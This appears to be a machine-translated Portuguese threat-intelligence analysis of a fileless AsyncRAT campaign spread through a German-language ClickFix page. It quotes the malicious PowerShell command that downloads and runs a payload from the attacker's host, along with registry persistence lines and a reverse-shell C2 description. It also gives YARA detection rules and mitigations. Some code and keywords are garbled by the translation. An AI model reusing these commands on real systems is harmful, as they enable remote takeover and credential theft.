AsyncRAT sem arquivo distribuído por meio da técnica Clickfix para usuários que falam alemão

Sumário executivo

Um AsyncRAT sem arquivo se junta à festa Clickfix, com uma campanha ofuscada baseada no PowerShell. O malware é entregue por meio de um falso prompt de verificação que leva os usuários a executar um comando malicioso. Com base nas preferências linguísticas na solicitação de verificação, podemos verificar com alta confiança que a campanha é voltado para usuários que falam alemão. A cadeia abusa dos utilitários legítimos do sistema e dos carregadores C# na memória com cadeias de caracteres invertidas para evitar a detecção. Uma vez executado, o malware estabelece persistência por meio de chaves de registro e se conecta a um servidor TCP C2 remoto na porta 4444. Ele permite controle remoto total, roubo de credenciais e exfiltração de dados, tudo sem deixar arquivos no disco. As mitigações incluem bloquear a execução suspeita do PowerShell, monitorar a atividade do registro e escanear a memória em busca de cargas úteis na memória comumente usadas em métodos de entrega baseados em LOLBINS.

Análises

Durante o ciclo rotineiro de descoberta e atribuição da infraestrutura do invasor, descobrimos um site de entrega com o tema Clickfix.

‍

Quando a vítima clica em “Não sou um robô”, um comando é copiado para a prancheta e as instruções são exibidas para a vítima seguir.

Comando copiado:

conhost.exe --headless powershell -w hidden -nop -c $x =

[System.Text.Encoding] ::utf8.getString ((invoke-webRequest -URI

'http://namoet[.]de:80/x').Content); cmd /c $x” Drücke enter um deine identität zu bestätigen!

‍

Uma corda”Drücke enter um deine identität zu bestätigen!” dentro do comando, é traduzido para “Pressione enter para confirmar sua identidade!”. Isso sugere que a página de entrega do clickfix foi projetada para usuários que falam alemão.

Cyber Kill Chain

‍

Detalhamento passo a passo

1. O comando copiado usa um utilitário do sistema, conhost, para invocar o PowerShell com 3 sinalizadores.

powershell -w oculto -nop -c

1. -w oculto: Oculta a janela do PowerShell.
2. -não: Sem perfil (não carrega scripts de perfil do PowerShell).
3. -c: Executa o comando que você segue.

2. Baixe a carga útil do PowerShell de um servidor remoto.

$x = [System.Text.Encoding] ::utf8.getString ((invoke-webRequest -URI 'http://namoet[.]de:80/x').Content)

O comando presume que o conteúdo é um texto codificado em UTF-8 e o decodifica como uma string.

*O conteúdo da carga útil baixada “x” pode ser encontrado no Apêndice.

3. Finalmente, a string decodificada é executada usando o prompt de comando do Windows.

cmd /c $x

Análise - Carga útil baixada “x”

1. Configure a persistência

$c = 'conhost.exe --headless powershell -nop -w hidden -c '+ [char] 34+$myInvocation.myCommand+ [char] 34;

Definir propriedade do item 'HKC U:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce "windows '...

Propriedade do item do conjunto 'HKC U:\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\ Windows' 'win' $c;

‍

• Objetivo: garanta que o script do PowerShell seja executado novamente no próximo login ou inicialização usando as chaves de registro do RunOnce e do Windows.
• Caminhos de persistência:
  
  • RunOnce executa o script uma vez no próximo logon.
  • A chave Windows\ win contém o comando completo para ser reutilizado por um novo processo.

2. Obtenha um carregamento útil em Ask==gclrm...

$f = 'ask=' + '=gclrML' + '0v2b' + 'TfM' + 'blk=';

$d = $f.substring (3,16) .toCharArray ();

[matriz] :reverso ($d);

$y = [System.Text.Encoding] ::default.getString ([System.Convert] ::fromBase64String ($d -join “));

‍

• $f é um cadeia de caracteres base64 fragmentada, revertido antes da decodificação.
• Uma vez decodificado, ele produz um Nome do método.net ou argumento da função, usado abaixo.

3. Carrega código C# ofuscado incorporado

<obfuscated and reversed C# code>$ g = “;

$l = $g.toCharArray ();

[matriz] :reverso ($l);

Tipo de adição -TypeDefinition $ ($l -join “);

‍

• $g é um classe C# invertida, um shell reverso ou stager do.NET malicioso.
• Inclui:
  
  • Soquetes TCP.
  • Processos de desova.
  • Redirecionamento de E/S padrão.
  • Funções de codificação.
• O Add-Type compila e carrega essa classe na memória.

*O conteúdo de “$l” pode ser encontrado no Apêndice.

4. Executa o código incorporado

[B] ::ma ($y.trim ())

• A classe B (definida no blob C#) tem um método estático ma ().
• $y (decodificado anteriormente) é passado como argumento.

Derivação de $y

$f='ask='+'=gclrml'+'0v2b'+'tfm'+'blk=';

$d=$f.substring (3,16) .toCharArray ();

[matriz] :reverso ($d);

$y= [System.Text.Encoding] ::default.getString ([System.Convert] ::fromBase64String ($d -join “));

‍

Detalhando isso:

Etapa 1: Construir $f

$f = 'ask=' + '=gclrML' + '0v2b' + 'TfM' + 'blk='

= 'perguntar==gclrml0v2btfmblk='

Etapa 2: Cole uma substring do offset 3 de comprimento 16

$F.substring (3,16)

= '=gclRML0v2btFmbl'

Etapa 3: conversor em matriz e reverter

# Antes da reversão: '=gclRML0v2btFmbl'

# Depois da reversão: 'lbmFtbt2v0lmRllg='

Etapa 4: decodificação Base64

Seqüência de caracteres Base64: 'lbmFtbt2v0lmRllg='

Decodificado: 'namoet [.] de:4444'

O que a carga útil faz?

1. Estabelecer um cliente TCP para namoet.de:4444.
2. Configure:

• ProcessStartInfo com:
  
  • redirectStandardInput = verdadeiro
  • redirectStandardOutput = verdadeiro
  • redirectStandardError = verdadeiro
  • useShellExecute = falso
  • createNoWindow = verdadeiro

3. Lança um projeto.
4. Retransmita a saída e o erro de volta para C2.
5. Escuta os comandos de entrada do C2 e os executa no sistema da vítima.

Em certos códigos de saída, se mata com getCurrentProcess () .Kill ().

Atribuição - AsyncRat

1. Uso do PowerShell e do conhost.exe para execução furtiva

• HTTP: T1059.001 — PowerShell
• O AsyncRAT geralmente usa o PowerShell ofuscado lançado a partir de conhost.exe ou powershell.exe com sinalizadores como -w hidden, -nop e -c para minimizar a visibilidade.

Em nossa amostra:

conhost.exe --headless powershell -w hidden -nop -c...

Esse padrão de execução é frequentemente observado na entrega do AsyncRAT.

2. Compilação C# na memória via Add-Type

• HTTP: T1127.001 — Compilar após a entrega
• AsyncRat é conhecido por carregando sua funcionalidade principal por meio de código C# ofuscado e invertido, que é então compilado na memória usando o Add-Type do PowerShell.

A carga contém:

Tipo de adição -TypeDefinition $ ($l -join “)

[B] ::ma ($y.trim ())

3. Formato de carregador.net com engenharia reversa

• HTTP: T1218.005 — Execução de proxy binário assinado: rundll32
• A carga útil inclui tratamento típico de bytes [], injeção de processo e C# base64 incorporado em um formato inverso.
• Essa lógica do carregador corresponde à forma como o AsyncRAT organiza e carrega cargas criptografadas em tempo de execução.

4. TCP C2 na porta 4444 com gerenciamento de processos sem estilo assíncrono

• HTTPS:
  
  • T1071.001 — Protocolo de camada de aplicativo: protocolos da Web
  • T1571 — Uso de porta não padrão
• O host C2 é chamado [.] de:4444, que se alinha ao comportamento padrão do AsyncRAT: uma conexão TCP persistente (geralmente porta 4444 ou similar).

O Código.net contém:

TcpClient b = novo TcpClient (); b.Connect (d, e);

...

enquanto (verdadeiro) {c.Read (...)...}

isso é indicativo de um backchannel de longa duração — muito característico da lógica C2 do AsyncRAT.

5. Persistência do registro com HKCU\...\ Executar uma vez

• HTTP: T1547.001 — Chaves de execução do registro/pasta de inicialização

O malware define a persistência usando:
Definir propriedade do item 'HKCU:\... Executar uma vez'...

As variantes AsyncRAT geralmente usam HKCU\ Software\ Microsoft\ Windows\ CurrentVersion\ RunOnce ou Run para persistência em nível de usuário sem acionar o UAC.

Mapeamento MITRE

IOCs

Como sabemos, a página de entrega do clickfix copiou um comando que foi anexado ao texto. “Drücke enter um deine identität zu bestätigen!”. Ao usar o texto no comando copiado como ponto central, descobrimos uma infraestrutura adicional controlada por atacantes que foi usada na mesma campanha para entrega de clickfix e operações C2.

Com base na infraestrutura adicional descoberta, podemos verificar com confiança média que esta campanha está sendo executada desde pelo menos abril de 2025.

Regra Yara (focada na memória)

regra Asyncrat_Memory_Resident_Reversed_Loader

{

meta:

author = “Inteligência de ameaças cibernéticas do CloudSEK”

description = “Detecta o código do carregador AsyncRat C# na memória, com foco em strings invertidas e comportamento de carregamento reflexivo”

malware_family = “AsyncRAT”

dados = “12/06/20"

escopo = “memória”

‍

cordas:

//Namespaces. NET invertidos indicando ofuscação

$s1 = “GnidaerHT.metsys gnisu” ascii

$s2 = “Text.netsys gnusu” ascii

$s3 = “stekcos.ten.metsys gnusu” ascii

$s4 = “ScitsOngaid.metsys não existe” ascii

‍

//Tipo de complemento usado em tempo de execução

$s5 = “Adicionar tipo -definição de tipo” ascii

‍

//Lógica do TcpClient invertida (forma de string na memória)

$s6 = “tNeilCpct wen = b tNeilCpct cilbup” ascii

$s7 = “) (f;) (MaertSteG.b = c; e), d (tcennoC.b” ascii

‍

//Assinaturas de função invertidas

$8s = “divo citats clibup” ascii

$9s = “salc clibup” ascii

‍

//Persistência do registro invertido (opcional)

$s10 = “'NoSiW' = Sim\\... 'ASCII long” KUH” em letras maiúsculas

‍

condição:

5 de desconto ($s*)

}

‍

Regra Yara (genérica)

‍

regra Asyncrat_PowerShell_ReversedLoader

{

meta:

author = “Inteligência de ameaças cibernéticas do CloudSEK”

description = “Detecte cargas úteis do AsyncRAT usando PowerShell com C# codificado em base64 invertido e carregador Add-Type”

malware_family = “AsyncRAT”

dados = “12/06/20"

‍

cordas:

//PowerShell padrão usando sinalizadores de ofuscação comuns

$ps_flags = “powershell -nop -w hidden -c” ascii

‍

//Uso do Add-Type para compilar código C# em tempo de execução

$add_type = “Adicionar tipo -TypeDefinition” ascii

‍

//Chaves de persistência do registro

$reg1 = “HKCU:\\ SOFTWARE\\ Microsoft\\ Windows\\ CurrentVersion\\ RunOnce” ascii

$reg2 = “HKCU:\\ SOFTWARE\\ Microsoft\\ Windows NT\\ Versão atual\\ Windows” ascii

‍

//Namespace C# invertido comum ao AsyncRat

$rev_using = “GnidaerHT.metsys gnusu” ascii

$rev_dns = “)] [0] [w (gnirtsteg.tluafed.gnidocne = eManelif” ascii

‍

//TCPClient e Connect () retornam chamadas no.NET

$tcp_client = “tneilCpct wen = b tneilCpct cilbup” ascii

$connect_call = “) (f;) (MaertSteg.b = c; e), d (tcennoC.b” ascii

‍

//Porta TCP comum usada (4444) para C2

$port_4444 = “4444" ASCII

‍

condição:

todos ($ps_flags, $add_type, $reg1, $rev_using, $tcp_client) e

qualquer um dos ($reg2, $rev_dns, $port_4444, $connect_call)

}

Impacto

• Controle remoto completo: O AsyncRAT fornece aos atacantes acesso remoto completo ao sistema comprometido, permitindo o registro de chaves, a extração de arquivos e a execução remota de comandos.
• Roubo de credenciais: O malware pode extrair credenciais dos navegadores, da memória ou dos dados salvos da sessão, causando mais movimentos laterais ou comprometimento da conta.
• Persistência por meio de abuso de registro: Ao escrever para HKCU\ Software\ Microsoft\ Windows\ CurrentVersion\ RunOnce, o malware garante que ele seja executado no logon do usuário, sobrevivendo às reinicializações.
• Evasão por meio de execução na memória: As cargas nunca tocam no disco — toda a execução ocorre na memória (PowerShell refletivo+C# invertido), ignorando a tradicional deteção de AV baseada em arquivos.
• Comunicação de comando e controle: Usa conexões TCP ofuscadas (geralmente em portas como 4444) para extrair dados ou receber comandos, permitindo operações secretas de longo prazo.

Mitigações

• Bloqueie LOLBins como conhost.exe para PowerShell: Use o EDR ou o AppLocker para evitar o uso suspeito de conhost.exe --headless lançando powershell.exe.
• Segmentação de rede e filtragem de saída: Bloqueie conexões TCP de saída conhecidas ou suspeitas (por exemplo, porta 4444 ou para IPS/domínios desconhecidos) e aplique o bloqueio baseado em domínio à infraestrutura C2 conhecida.
• Monitoramento de registro: Configure a deteção de alterações em chaves de alto risco, como RunOnce e Windows\ win
• Digitalização de memória com YARA ou EDR: Implemente a barra na memória usando as regras YARA (conforme a fornecida) para detectar código C# ofuscado, carregadores Add-Type e lógica TCP.
• Modo de linguagem restrito do PowerShell + Registro: Deposita o modo de linguagem restrito do PowerShell via GPO paraE habilite o registro e a transcrição do ScriptBlock para detectar código oculto ou reflexivo.

Apêndice

1. $l — Carregador C# desativado para AsyncRat

Referências

• *Fonte de inteligência e confiabilidade da informação - Wikipedia
• ^#Protocolo de semáforo - Wikipedia